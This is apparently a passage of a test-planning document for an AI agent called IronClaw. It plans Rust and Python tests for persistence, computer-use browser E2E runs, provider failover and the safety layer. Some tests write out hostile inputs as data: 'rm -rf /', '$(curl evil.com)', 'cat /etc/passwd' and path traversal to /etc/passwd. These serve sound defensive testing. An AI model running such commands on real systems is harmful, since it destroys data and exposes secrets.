Many integration tests need a database but not a real PostgreSQL/libSQL instance. Create a lightweight in-memory `Database` implementation (backed by `HashMap`s) that satisfies the `Database` trait for test use. This avoids testcontainers overhead for most tests.
|
||||
|
||||
Alternatively, use libSQL in `:memory:` mode (it's SQLite under the hood):
|
||||
|
||||
```rust
|
||||
// src/testing.rs
|
||||
pub async fn test_db() -> impl Database {
|
||||
let backend = LibSqlBackend::open_in_memory().await.unwrap();
|
||||
backend.run_migrations().await.unwrap();
|
||||
backend
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** Extend `src/testing.rs`, potentially `src/db/libsql/mod.rs` (add `open_in_memory`)
|
||||
|
||||
### 2.2 Turn Persistence Tests
|
||||
|
||||
Test every code path in `process_approval` and the main agent loop that should call `persist_turn`:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn approved_tool_call_persists_turn() {
|
||||
let db = test_db().await;
|
||||
let mut agent = TestAgent::new(db);
|
||||
// Create a turn with a pending tool call
|
||||
agent.submit("search for cats").await;
|
||||
// Simulate tool approval
|
||||
agent.approve_tool_call(0).await;
|
||||
// Verify turn is in DB (not just in memory)
|
||||
let turns = agent.db().get_turns(agent.thread_id()).await.unwrap();
|
||||
assert!(turns.iter().any(|t| t.has_tool_result()));
|
||||
}
|
||||
```
|
||||
|
||||
Cover:
|
||||
- Approved tool call with successful result
|
||||
- Approved tool call with error result
|
||||
- Approved tool call requiring auth
|
||||
- Deferred tool call with auth
|
||||
- User message persisted before agent loop starts (not after)
|
||||
|
||||
**Files:** New `tests/turn_persistence.rs`
|
||||
|
||||
### 2.3 WASM Channel Lifecycle Tests
|
||||
|
||||
Test the host function contract: `workspace_write()` followed by `take_pending_writes()` returns the written data. `workspace_read()` returns data that was previously written.
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn wasm_channel_workspace_writes_are_flushed() {
|
||||
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
|
||||
// Simulate a callback that writes workspace data
|
||||
wrapper.handle_callback(test_update_payload()).await.unwrap();
|
||||
// Verify writes were captured
|
||||
let writes = wrapper.take_pending_writes();
|
||||
assert!(!writes.is_empty(), "workspace_write() calls must be captured");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn wasm_channel_workspace_read_returns_prior_writes() {
|
||||
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
|
||||
// Inject workspace data
|
||||
wrapper.inject_workspace_entry("polling_offset", b"12345");
|
||||
// Simulate a callback that reads workspace data
|
||||
wrapper.handle_callback(test_update_payload()).await.unwrap();
|
||||
// The channel should have used the injected offset (not 0)
|
||||
// Verify by checking the getUpdates call offset parameter
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** New `tests/wasm_channel_lifecycle.rs`, test helpers in `src/channels/wasm/wrapper.rs`
|
||||
|
||||
### 2.4 Extension Registry Collision Tests
|
||||
|
||||
Verify that installing a channel named "telegram" and a tool named "telegram" land in different directories and both resolve correctly:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn channel_and_tool_with_same_name_dont_collide() {
|
||||
let registry = TestRegistry::new();
|
||||
registry.install("telegram", ArtifactKind::Channel).await.unwrap();
|
||||
registry.install("telegram", ArtifactKind::Tool).await.unwrap();
|
||||
assert!(registry.tools_dir().join("telegram").exists());
|
||||
assert!(registry.channels_dir().join("telegram").exists());
|
||||
// Both resolve independently
|
||||
assert_eq!(registry.get("telegram", ArtifactKind::Channel).unwrap().kind, ArtifactKind::Channel);
|
||||
assert_eq!(registry.get("telegram", ArtifactKind::Tool).unwrap().kind, ArtifactKind::Tool);
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** New `tests/registry_collision.rs`
|
||||
|
||||
### 2.5 Shell Tool Realistic Arg Tests
|
||||
|
||||
The destructive-command check bug (PR #72) happened because tests passed `Value::String` args but the LLM sends `Value::Object`. Test with realistic args:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn destructive_command_blocked_with_object_args() {
|
||||
let shell = ShellTool::new();
|
||||
let params = serde_json::json!({
|
||||
"command": "rm -rf /"
|
||||
});
|
||||
// This is how the LLM actually sends args -- as an Object, not a String
|
||||
let result = shell.execute(params, &test_context()).await;
|
||||
assert!(result.is_err() || result.unwrap().contains("blocked"));
|
||||
}
|
||||
```
|
||||
|
||||
Also test pipe deadlock prevention with large output:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn shell_handles_large_output_without_deadlock() {
|
||||
let shell = ShellTool::new();
|
||||
let params = serde_json::json!({
|
||||
"command": "yes | head -c 200000" // ~200KB, well above pipe buffer
|
||||
});
|
||||
let result = tokio::time::timeout(
|
||||
Duration::from_secs(10),
|
||||
shell.execute(params, &test_context())
|
||||
).await;
|
||||
assert!(result.is_ok(), "shell tool deadlocked on large output");
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** Extend `src/tools/builtin/shell.rs` tests
|
||||
|
||||
### 2.6 Failover and Circuit Breaker Edge Cases
|
||||
|
||||
```rust
|
||||
#[test]
|
||||
fn cooldown_activation_at_zero_nanos() {
|
||||
let mut cooldown = ProviderCooldown::new();
|
||||
// Edge case: if system clock returns 0 (or test mock does)
|
||||
cooldown.activate_cooldown(0);
|
||||
assert!(cooldown.is_in_cooldown(), "cooldown(0) must not be a no-op");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn failover_with_all_providers_failing() {
|
||||
let failover = FailoverProvider::new(vec![
|
||||
always_failing_provider("a]"),
|
||||
always_failing_provider("b"),
|
||||
]);
|
||||
let result = failover.chat(&[]).await;
|
||||
assert!(result.is_err());
|
||||
// Must not panic (the old .expect() bug)
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** Extend `src/llm/circuit_breaker.rs` and `src/llm/failover.rs` tests
|
||||
|
||||
### 2.7 Context Length Recovery Test
|
||||
|
||||
Verify that when the LLM returns a `ContextLengthExceeded` error, the agent triggers compaction and retries rather than propagating the raw error:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn context_length_exceeded_triggers_compaction() {
|
||||
let mut agent = TestAgent::with_provider(
|
||||
ContextLimitMockProvider::new(fail_after_n_turns: 3)
|
||||
);
|
||||
// Send enough messages to trigger context limit
|
||||
for i in 0..5 {
|
||||
agent.submit(&format!("message {i}")).await;
|
||||
}
|
||||
// Agent should have compacted and continued, not errored
|
||||
assert!(agent.last_response().is_ok());
|
||||
assert!(agent.compaction_count() > 0);
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** New `tests/context_recovery.rs`
|
||||
|
||||
---
|
||||
|
||||
## Tier 3: Computer-Use E2E Testing
|
||||
|
||||
**Cost:** High (requires Anthropic computer use API, headless browser, ironclaw running)
|
||||
**Timeline:** ~2 weeks for infrastructure, then incremental scenario additions
|
||||
**Bugs this would have caught:** #307, #306, #263, all manual web-ui-test checklist items
|
||||
|
||||
### 3.1 Architecture
|
||||
|
||||
```
|
||||
+------------------+ +-----------------+ +------------------+
|
||||
| Test Runner | | Headless | | IronClaw |
|
||||
| (Python/TS) |---->| Chromium |---->| (cargo run) |
|
||||
| | | (Playwright) | | GATEWAY=true |
|
||||
| Orchestrates | | | | port 3001 |
|
||||
| scenarios | | Screenshots | | |
|
||||
+--------+---------+ +--------+--------+ +------------------+
|
||||
| |
|
||||
v v
|
||||
+------------------+ +-----------------+
|
||||
| Claude | | Assertion |
|
||||
| Computer Use | | Engine |
|
||||
| API | | (visual + |
|
||||
| (screenshot → | | DOM-based) |
|
||||
| action) | | |
|
||||
+------------------+ +-----------------+
|
||||
```
|
||||
|
||||
**Components:**
|
||||
|
||||
1. **Test runner** -- Python or TypeScript script that orchestrates the flow. Starts ironclaw, waits for readiness, launches Playwright browser, runs scenarios.
|
||||
|
||||
2. **Playwright browser** -- Headless Chromium. Takes screenshots, executes click/type actions as directed by the computer use agent. Also provides DOM access for structural assertions (element exists, text content matches, no error toasts).
|
||||
|
||||
3. **Claude computer use agent** -- Anthropic API with `computer-use-2025-01-24` tool. Receives screenshots, returns actions (click coordinates, type text, scroll). The test runner translates actions into Playwright calls.
|
||||
|
||||
4. **Assertion engine** -- Hybrid approach:
|
||||
- **DOM assertions** (Playwright): Fast, deterministic checks like "element with text 'Connected' exists", "no elements with class 'error-toast' visible", "skills list has N children"
|
||||
- **Visual assertions** (Claude vision): For subjective checks like "the chat message rendered correctly", "no raw HTML visible in the output", "the SSE stream is updating in real-time"
|
||||
|
||||
### 3.2 Test Infrastructure Setup
|
||||
|
||||
**Directory structure:**
|
||||
|
||||
```
|
||||
tests/
|
||||
e2e/
|
||||
conftest.py # pytest fixtures: start ironclaw, browser
|
||||
computer_use.py # Claude computer use client wrapper
|
||||
assertions.py # DOM + visual assertion helpers
|
||||
scenarios/
|
||||
test_connection.py
|
||||
test_chat.py
|
||||
test_skills.py
|
||||
test_sse_reconnect.py
|
||||
test_onboarding.py
|
||||
test_html_injection.py
|
||||
test_tool_approval.py
|
||||
screenshots/ # Reference screenshots (gitignored)
|
||||
Dockerfile.test # Container for CI: ironclaw + chromium
|
||||
```
|
||||
|
||||
**Fixture: start ironclaw**
|
||||
|
||||
```python
|
||||
@pytest.fixture(scope="session")
|
||||
async def ironclaw_server():
|
||||
"""Start ironclaw with gateway enabled, return base URL."""
|
||||
env = {
|
||||
"CLI_ENABLED": "false",
|
||||
"GATEWAY_ENABLED": "true",
|
||||
"GATEWAY_PORT": "3001",
|
||||
"GATEWAY_AUTH_TOKEN": "test-token-e2e",
|
||||
"GATEWAY_USER_ID": "e2e-tester",
|
||||
"LLM_BACKEND": "openai_compatible", # or mock
|
||||
"LLM_BASE_URL": "http://localhost:11434/v1", # local Ollama
|
||||
"DATABASE_BACKEND": "libsql",
|
||||
"LIBSQL_PATH": ":memory:",
|
||||
"SANDBOX_ENABLED": "false",
|
||||
"SKILLS_ENABLED": "true",
|
||||
}
|
||||
proc = await asyncio.create_subprocess_exec(
|
||||
"cargo", "run", "--features", "libsql",
|
||||
env={**os.environ, **env},
|
||||
)
|
||||
await wait_for_ready("http://127.0.0.1:3001/api/health", timeout=120)
|
||||
yield "http://127.0.0.1:3001"
|
||||
proc.terminate()
|
||||
```
|
||||
|
||||
**Fixture: browser with computer use**
|
||||
|
||||
```python
|
||||
@pytest.fixture
|
||||
async def browser_agent(ironclaw_server):
|
||||
"""Playwright browser + Claude computer use agent."""
|
||||
async with async_playwright() as p:
|
||||
browser = await p.chromium.launch(headless=True)
|
||||
page = await browser.new_page(viewport={"width": 1280, "height": 720})
|
||||
await page.goto(f"{ironclaw_server}/?token=test-token-e2e")
|
||||
agent = ComputerUseAgent(page)
|
||||
yield agent
|
||||
await browser.close()
|
||||
```
|
||||
|
||||
**Computer use wrapper:**
|
||||
|
||||
```python
|
||||
class ComputerUseAgent:
|
||||
"""Drives the browser via Claude computer use API."""
|
||||
|
||||
def __init__(self, page: Page):
|
||||
self.page = page
|
||||
self.client = anthropic.Anthropic()
|
||||
|
||||
async def execute_scenario(self, instruction: str, max_steps: int = 20) -> list[str]:
|
||||
"""
|
||||
Give a natural-language instruction, let Claude drive the browser.
|
||||
Returns a list of observations/assertions from Claude.
|
||||
"""
|
||||
messages = [{"role": "user", "content": instruction}]
|
||||
observations = []
|
||||
|
||||
for _ in range(max_steps):
|
||||
screenshot = await self.take_screenshot()
|
||||
response = self.client.messages.create(
|
||||
model="claude-sonnet-4-20250514",
|
||||
max_tokens=1024,
|
||||
tools=[{
|
||||
"type": "computer_20250124",
|
||||
"name": "computer",
|
||||
"display_width_px": 1280,
|
||||
"display_height_px": 720,
|
||||
}],
|
||||
messages=messages,
|
||||
)
|
||||
|
||||
# Process tool use blocks (click, type, screenshot, etc.)
|
||||
for block in response.content:
|
||||
if block.type == "tool_use":
|
||||
result = await self.execute_action(block.input)
|
||||
messages.append({"role": "assistant", "content": response.content})
|
||||
messages.append({"role": "user", "content": [result]})
|
||||
elif block.type == "text":
|
||||
observations.append(block.text)
|
||||
|
||||
if response.stop_reason == "end_turn":
|
||||
break
|
||||
|
||||
return observations
|
||||
|
||||
async def take_screenshot(self) -> bytes:
|
||||
return await self.page.screenshot(type="png")
|
||||
|
||||
async def execute_action(self, action: dict) -> dict:
|
||||
"""Translate Claude's computer use action to Playwright calls."""
|
||||
if action["action"] == "click":
|
||||
await self.page.mouse.click(action["coordinate"][0], action["coordinate"][1])
|
||||
elif action["action"] == "type":
|
||||
await self.page.keyboard.type(action["text"])
|
||||
elif action["action"] == "scroll":
|
||||
await self.page.mouse.wheel(0, action["coordinate"][1])
|
||||
elif action["action"] == "key":
|
||||
await self.page.keyboard.press(action["text"])
|
||||
# Return screenshot after action
|
||||
screenshot = await self.take_screenshot()
|
||||
return {"type": "tool_result", "content": [
|
||||
{"type": "image", "source": {"type": "base64", "media_type": "image/png",
|
||||
"data": base64.b64encode(screenshot).decode()}}
|
||||
]}
|
||||
```
|
||||
|
||||
### 3.3 Test Scenarios
|
||||
|
||||
Each scenario maps to a real bug or the existing manual checklist in `skills/web-ui-test/SKILL.md`.
|
||||
|
||||
#### Scenario 1: Connection and Tab Navigation
|
||||
|
||||
```python
|
||||
async def test_connection_and_tabs(browser_agent):
|
||||
"""Bugs: #306 (orphan threads on null threadId during page load)"""
|
||||
observations = await browser_agent.execute_scenario("""
|
||||
1. Look at the page. Verify there is a "Connected" indicator visible.
|
||||
2. Click each tab in order: Chat, Memory, Jobs, Routines, Extensions, Skills.
|
||||
3. For each tab, verify the panel content changes and no error messages appear.
|
||||
4. Return to the Chat tab.
|
||||
5. Report what you see for each tab.
|
||||
""")
|
||||
# DOM assertions (fast, deterministic)
|
||||
page = browser_agent.page
|
||||
assert await page.locator(".connection-status.connected").count() > 0
|
||||
for tab in ["chat", "memory", "jobs", "routines", "extensions", "skills"]:
|
||||
assert await page.locator(f'[data-tab="{tab}"]').count() > 0
|
||||
```
|
||||
|
||||
#### Scenario 2: Chat Message Round-Trip
|
||||
|
||||
```python
|
||||
async def test_chat_sends_and_receives(browser_agent):
|
||||
"""Bugs: #305 (user message not persisted), #255 (fake proceed messages)"""
|
||||
observations = await browser_agent.execute_scenario("""
|
||||
1. Click on the chat input box at the bottom.
|
||||
2. Type "Hello, what is 2+2?" and press Enter.
|
||||
3. Wait for the assistant to respond (you should see a streaming response).
|
||||
4. Verify the assistant's response appears below your message.
|
||||
5. Report the assistant's response.
|
||||
""")
|
||||
page = browser_agent.page
|
||||
# At least 2 messages: user + assistant
|
||||
messages = await page.locator(".message").count()
|
||||
assert messages >= 2
|
||||
# No error toasts
|
||||
assert await page.locator(".toast.error").count() == 0
|
||||
```
|
||||
|
||||
#### Scenario 3: SSE Reconnect
|
||||
|
||||
```python
|
||||
async def test_sse_reconnect_preserves_history(browser_agent, ironclaw_server):
|
||||
"""Bug: #307 (no re-sync on SSE reconnect after server restart)"""
|
||||
page = browser_agent.page
|
||||
|
||||
# Step 1: Send a message
|
||||
await browser_agent.execute_scenario("""
|
||||
Type "Remember this: the secret word is platypus" in the chat and press Enter.
|
||||
Wait for the response.
|
||||
""")
|
||||
msg_count_before = await page.locator(".message").count()
|
||||
|
||||
# Step 2: Kill and restart the server
|
||||
# (test fixture provides a restart helper)
|
||||
await restart_ironclaw(ironclaw_server)
|
||||
|
||||
# Step 3: Wait for reconnect
|
||||
await page.wait_for_selector(".connection-status.connected", timeout=30000)
|
||||
|
||||
# Step 4: Verify message history is preserved
|
||||
msg_count_after = await page.locator(".message").count()
|
||||
assert msg_count_after >= msg_count_before, \
|
||||
f"Messages lost after reconnect: {msg_count_before} -> {msg_count_after}"
|
||||
```
|
||||
|
||||
#### Scenario 4: Skills Search, Install, Remove
|
||||
|
||||
```python
|
||||
async def test_skills_lifecycle(browser_agent):
|
||||
"""Automates the manual checklist from skills/web-ui-test/SKILL.md"""
|
||||
# Override confirm() to auto-accept
|
||||
await browser_agent.page.evaluate("window.confirm = () => true")
|
||||
|
||||
observations = await browser_agent.execute_scenario("""
|
||||
1. Click the "Skills" tab.
|
||||
2. Look for a search box. Type "markdown" and press Enter or click Search.
|
||||
3. Wait for results to appear.
|
||||
4. Verify results show: name, version, description.
|
||||
5. Click "Install" on the first result.
|
||||
6. Wait for a success notification.
|
||||
7. Verify the skill now appears in the "Installed Skills" section.
|
||||
8. Click "Remove" on the skill you just installed.
|
||||
9. Wait for a success notification.
|
||||
10. Verify the skill is gone from the installed list.
|
||||
11. Report what happened at each step.
|
||||
""")
|
||||
# Final state: no installed skills (we removed what we installed)
|
||||
page = browser_agent.page
|
||||
await page.click('[data-tab="skills"]')
|
||||
# Should not have the test skill installed
|
||||
```
|
||||
|
||||
#### Scenario 5: HTML Injection Defense
|
||||
|
||||
```python
|
||||
async def test_html_injection_sanitized(browser_agent):
|
||||
"""Bug: #263 (HTML error pages injected into UI, still open)"""
|
||||
# This requires a mock LLM that returns HTML in tool output
|
||||
# or we craft a message that triggers tool output containing HTML
|
||||
page = browser_agent.page
|
||||
|
||||
await browser_agent.execute_scenario("""
|
||||
Type this exact message in the chat and press Enter:
|
||||
"Please use the http tool to fetch https://httpbin.org/html"
|
||||
Wait for the response.
|
||||
""")
|
||||
|
||||
# The page should NOT have raw HTML rendering from the tool output
|
||||
# Check that no unexpected <h1> or full <html> documents appear
|
||||
body_html = await page.inner_html("body")
|
||||
assert "<html>" not in body_html.lower() or "code" in body_html.lower(), \
|
||||
"Raw HTML from tool output was injected unsanitized into the page"
|
||||
```
|
||||
|
||||
#### Scenario 6: Tool Approval Overlay
|
||||
|
||||
```python
|
||||
async def test_tool_approval_overlay(browser_agent):
|
||||
"""Bugs: #250 (approval results not persisted), #72 (destructive check dead code)"""
|
||||
observations = await browser_agent.execute_scenario("""
|
||||
1. Type "Run the shell command: echo hello world" in chat and press Enter.
|
||||
2. If an approval dialog appears, click "Approve" or "Allow".
|
||||
3. Wait for the result.
|
||||
4. Verify the output includes "hello world".
|
||||
5. Report what you see.
|
||||
""")
|
||||
```
|
||||
|
||||
#### Scenario 7: Onboarding Wizard (Full Flow)
|
||||
|
||||
```python
|
||||
async def test_onboarding_wizard_completes(tmp_ironclaw_home):
|
||||
"""Bugs: #187, #174, #129, #185 (wizard persistence and re-trigger)"""
|
||||
# Start ironclaw with a fresh home directory (no prior config)
|
||||
# The wizard runs in TUI mode, so we need a PTY or use the web wizard
|
||||
# if/when one exists. For now, test the CLI wizard via expect-style automation.
|
||||
|
||||
proc = pexpect.spawn(
|
||||
"cargo run",
|
||||
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
|
||||
timeout=60,
|
||||
)
|
||||
|
||||
# Step through wizard
|
||||
proc.expect("Welcome to IronClaw")
|
||||
proc.expect("LLM Backend")
|
||||
proc.sendline("1") # Select first option
|
||||
# ... continue through all 7 steps ...
|
||||
proc.expect("Setup complete")
|
||||
proc.close()
|
||||
|
||||
# Restart and verify wizard does NOT re-trigger
|
||||
proc2 = pexpect.spawn(
|
||||
"cargo run",
|
||||
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
|
||||
timeout=30,
|
||||
)
|
||||
proc2.expect("Agent ironclaw ready") # Should skip wizard
|
||||
# Must NOT see "Welcome to IronClaw" again
|
||||
assert not proc2.match_any(["Welcome to IronClaw"], timeout=5)
|
||||
proc2.close()
|
||||
```
|
||||
|
||||
### 3.4 LLM Backend for E2E Tests
|
||||
|
||||
E2E tests should not depend on external LLM APIs (flaky, expensive, slow). Options:
|
||||
|
||||
1. **Local Ollama** -- Run a small model (e.g., `qwen2.5:0.5b`) locally. Good enough for basic tool-calling tests. Set `LLM_BACKEND=openai_compatible` and `LLM_BASE_URL=http://localhost:11434/v1`.
|
||||
|
||||
2. **Mock LLM server** -- A tiny HTTP server that returns canned responses based on message content patterns. Fastest and most deterministic, but requires maintaining fixtures.
|
||||
|
||||
3. **Recorded responses** -- Record real LLM interactions once, replay in tests (VCR-style). Good balance of realism and determinism.
|
||||
|
||||
Recommendation: Start with local Ollama for development, mock LLM server for CI.
|
||||
|
||||
### 3.5 CI Integration
|
||||
|
||||
E2E tests are expensive and slow. Run them on a separate schedule, not on every PR:
|
||||
|
||||
```yaml
|
||||
# .github/workflows/e2e.yml
|
||||
name: E2E Tests
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 6 * * *" # Daily at 6 AM UTC
|
||||
workflow_dispatch: # Manual trigger
|
||||
|
||||
jobs:
|
||||
e2e:
|
||||
runs-on: ubuntu-latest
|
||||
services:
|
||||
ollama:
|
||||
image: ollama/ollama:latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: Build ironclaw
|
||||
run: cargo build --features libsql
|
||||
- name: Install Playwright
|
||||
run: pip install playwright pytest-playwright && playwright install chromium
|
||||
- name: Pull test model
|
||||
run: ollama pull qwen2.5:0.5b
|
||||
- name: Run E2E tests
|
||||
run: pytest tests/e2e/ -v --timeout=300
|
||||
env:
|
||||
LLM_BACKEND: openai_compatible
|
||||
LLM_BASE_URL: http://localhost:11434/v1
|
||||
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Tier 4: Chaos and Resilience Testing
|
||||
|
||||
**Cost:** Medium (needs mock providers, time-control utilities)
|
||||
**Timeline:** After Tier 2 harness exists; add scenarios incrementally
|
||||
**Bugs this would have caught:** #260, #125, #155, #252 (infinite loop), #139
|
||||
|
||||
### 4.1 LLM Provider Chaos
|
||||
|
||||
Test the failover chain, circuit breaker, and retry logic under realistic failure modes:
|
||||
|
||||
```rust
|
||||
/// Provider that fails N times then succeeds
|
||||
struct FlakeyProvider { failures_remaining: AtomicU32 }
|
||||
|
||||
/// Provider that returns ContextLengthExceeded after N messages
|
||||
struct ContextBombProvider { threshold: usize }
|
||||
|
||||
/// Provider that hangs forever (tests timeout handling)
|
||||
struct HangingProvider;
|
||||
|
||||
/// Provider that returns malformed JSON
|
||||
struct GarbageProvider;
|
||||
```
|
||||
|
||||
**Test scenarios:**
|
||||
|
||||
| Scenario | Setup | Expected |
|
||||
|----------|-------|----------|
|
||||
| Primary fails, secondary works | FlakeyProvider(3) + working provider | Failover after 3 retries, user gets response |
|
||||
| All providers fail | FlakeyProvider(max) x3 | Graceful error to user, no panic |
|
||||
| Context limit mid-conversation | ContextBombProvider(5) | Auto-compaction triggers, conversation continues |
|
||||
| Provider hangs | HangingProvider with 10s timeout | Timeout error, failover to next |
|
||||
| Malformed response | GarbageProvider | Error logged, retry or failover |
|
||||
| Circuit breaker trips | FlakeyProvider(100) | Circuit opens after threshold, fast-fails subsequent calls |
|
||||
| Circuit breaker recovers | FlakeyProvider(5) then success | Circuit half-opens, test call succeeds, circuit closes |
|
||||
|
||||
**Files:** New `tests/provider_chaos.rs`, mock providers in `src/testing.rs`
|
||||
|
||||
### 4.2 Concurrent Job Stress Test
|
||||
|
||||
Submit many jobs simultaneously and verify no state corruption:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn concurrent_jobs_dont_corrupt_state() {
|
||||
let db = test_db().await;
|
||||
let agent = TestAgent::new(db);
|
||||
|
||||
// Submit 20 jobs concurrently
|
||||
let handles: Vec<_> = (0..20)
|
||||
.map(|i| {
|
||||
let agent = agent.clone();
|
||||
tokio::spawn(async move {
|
||||
agent.submit(&format!("job {i}: what is {i} + {i}?")).await
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let results: Vec<_> = futures::future::join_all(handles).await;
|
||||
|
||||
// All should complete (some may error, none should panic)
|
||||
for result in &results {
|
||||
assert!(result.is_ok(), "job panicked: {:?}", result);
|
||||
}
|
||||
|
||||
// Verify no cross-contamination in contexts
|
||||
let jobs = agent.db().list_jobs().await.unwrap();
|
||||
let unique_contexts: HashSet<_> = jobs.iter().map(|j| j.context_id).collect();
|
||||
assert_eq!(unique_contexts.len(), jobs.len(), "context IDs must be unique per job");
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** New `tests/concurrent_jobs.rs`
|
||||
|
||||
### 4.3 Dispatcher Infinite Loop Guard
|
||||
|
||||
The dispatcher had an infinite loop bug (PR #252) where `continue` skipped the index increment. Add a test that verifies the dispatcher terminates even when hooks reject tool calls:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn dispatcher_terminates_when_hook_rejects() {
|
||||
let dispatcher = TestDispatcher::new();
|
||||
dispatcher.add_hook(|_tool_call| HookResult::Reject("nope".into()));
|
||||
|
||||
let result = tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
dispatcher.dispatch(vec![tool_call("shell", "rm -rf /")]),
|
||||
).await;
|
||||
|
||||
assert!(result.is_ok(), "dispatcher infinite-looped on rejected tool call");
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** Extend `src/agent/dispatcher.rs` tests
|
||||
|
||||
### 4.4 Value Estimator Boundary Tests
|
||||
|
||||
```rust
|
||||
#[test]
|
||||
fn is_profitable_with_zero_price() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// Must not panic (was a divide-by-zero before PR #139)
|
||||
let result = estimator.is_profitable(Decimal::ZERO, Decimal::new(100, 0));
|
||||
assert!(!result);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_profitable_with_negative_cost() {
|
||||
let estimator = ValueEstimator::new();
|
||||
let result = estimator.is_profitable(Decimal::new(100, 0), Decimal::new(-50, 0));
|
||||
// Negative cost = always profitable
|
||||
assert!(result);
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** Extend `src/estimation/value.rs` tests
|
||||
|
||||
### 4.5 Safety Layer Adversarial Tests
|
||||
|
||||
Test the safety layer with adversarial inputs that have caused real bypasses:
|
||||
|
||||
```rust
|
||||
#[test]
|
||||
fn path_traversal_in_wasm_allowlist() {
|
||||
let allowlist = DomainAllowlist::new(vec!["api.example.com/v1/"]);
|
||||
// Must be blocked: path traversal before normalization
|
||||
assert!(!allowlist.allows("api.example.com/v1/../admin"));
|
||||
assert!(!allowlist.allows("api.example.com/v1/../../etc/passwd"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_env_scrubbing_removes_secrets() {
|
||||
let env = scrubbed_env();
|
||||
assert!(!env.contains_key("OPENAI_API_KEY"));
|
||||
assert!(!env.contains_key("NEARAI_SESSION_TOKEN"));
|
||||
assert!(!env.contains_key("DATABASE_URL"));
|
||||
// Safe vars preserved
|
||||
assert!(env.contains_key("PATH"));
|
||||
assert!(env.contains_key("HOME"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn leak_detector_catches_api_keys_in_output() {
|
||||
let detector = LeakDetector::default();
|
||||
let output = "Here's your key: sk-1234567890abcdef1234567890abcdef";
|
||||
let result = detector.scan(output);
|
||||
assert!(result.has_leaks());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sanitizer_blocks_command_injection() {
|
||||
let sanitizer = Sanitizer::new();
|
||||
let inputs = vec![
|
||||
"hello; rm -rf /",
|
||||
"$(curl evil.com)",
|
||||
"hello\n`whoami`",
|
||||
"test && cat /etc/passwd",
|
||||
];
|
||||
for input in inputs {
|
||||
let result = sanitizer.sanitize(input);
|
||||
assert_ne!(result, input, "injection not caught: {input}");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** Extend tests in `src/safety/sanitizer.rs`, `src/safety/leak_detector.rs`, `src/sandbox/proxy/allowlist.rs`, `src/tools/builtin/shell.rs`
|
||||
|
||||
---
|
||||
|
||||
## Implementation Priority
|
||||
|
||||
| Priority | Tier | Item | Effort | Bugs Prevented |
|
||||
|----------|------|------|--------|----------------|
|
||||
| P0 | 1.1 | Tool schema validator | 1 day | Schema 400s with every provider |
|
||||
| P0 | 1.3 | Feature-flag CI matrix | 0.5 day | Dead code behind wrong cfg gate |
|
||||
| P0 | 1.4 | Docker build in CI | 0.5 day | Broken Docker builds |
|
||||
| P1 | 1.2 | Config round-trip tests | 1 day | Onboarding persistence bugs |
|
||||
| P1 | 2.1 | Test harness (in-memory DB) | 2 days | Enables all Tier 2 tests |
|
||||
| P1 | 2.2 | Turn persistence tests | 1 day | Lost turns/messages |
|
||||
| P1 | 2.5 | Shell tool realistic args | 0.5 day | Dead safety checks |
|
||||
| P1 | 4.5 | Safety adversarial tests | 1 day | Security bypasses |
|
||||
| P2 | 2.3 | WASM channel lifecycle | 1 day | Duplicate messages, lost writes |
|
||||
| P2 | 2.4 | Registry collision tests | 0.5 day | Wrong install directory |
|
||||
| P2 | 2.6 | Failover edge cases | 0.5 day | Panics, sentinel bugs |
|
||||
| P2 | 2.7 | Context recovery test | 1 day | Raw errors to user |
|
||||
| P2 | 4.1 | Provider chaos tests | 2 days | Failover/retry regressions |
|
||||
| P2 | 4.3 | Dispatcher loop guard | 0.5 day | Infinite loops |
|
||||
| P3 | 3.1-3.2 | E2E infrastructure | 3-5 days | Enables all Tier 3 tests |
|
||||
| P3 | 3.3 | E2E scenarios (7 total) | 1 day each | UI/SSE/reconnect bugs |
|
||||
| P3 | 4.2 | Concurrent job stress | 1 day | State corruption |
|
||||
| P3 | 4.4 | Estimator boundaries | 0.5 day | Panics on edge inputs |
|
||||
|
||||
## Open Questions
|
||||
|
||||
1. **Computer use cost**: Claude computer use API calls with screenshots are expensive. Should E2E tests run daily, weekly, or only on release branches?
|
||||
|
||||
2. **LLM for E2E**: Local Ollama vs mock server vs recorded responses? Ollama is realistic but slow in CI. Mock is fast but requires fixture maintenance.
|
||||
|
||||
3. **TUI testing**: The TUI (Ratatui) is harder to test with computer use than the web UI. Options: (a) skip TUI E2E, rely on unit tests, (b) use a PTY + expect-style automation (pexpect), (c) use computer use with a terminal emulator in the browser (xterm.js). Recommendation: (b) for wizard, skip TUI E2E otherwise.
|
||||
|
||||
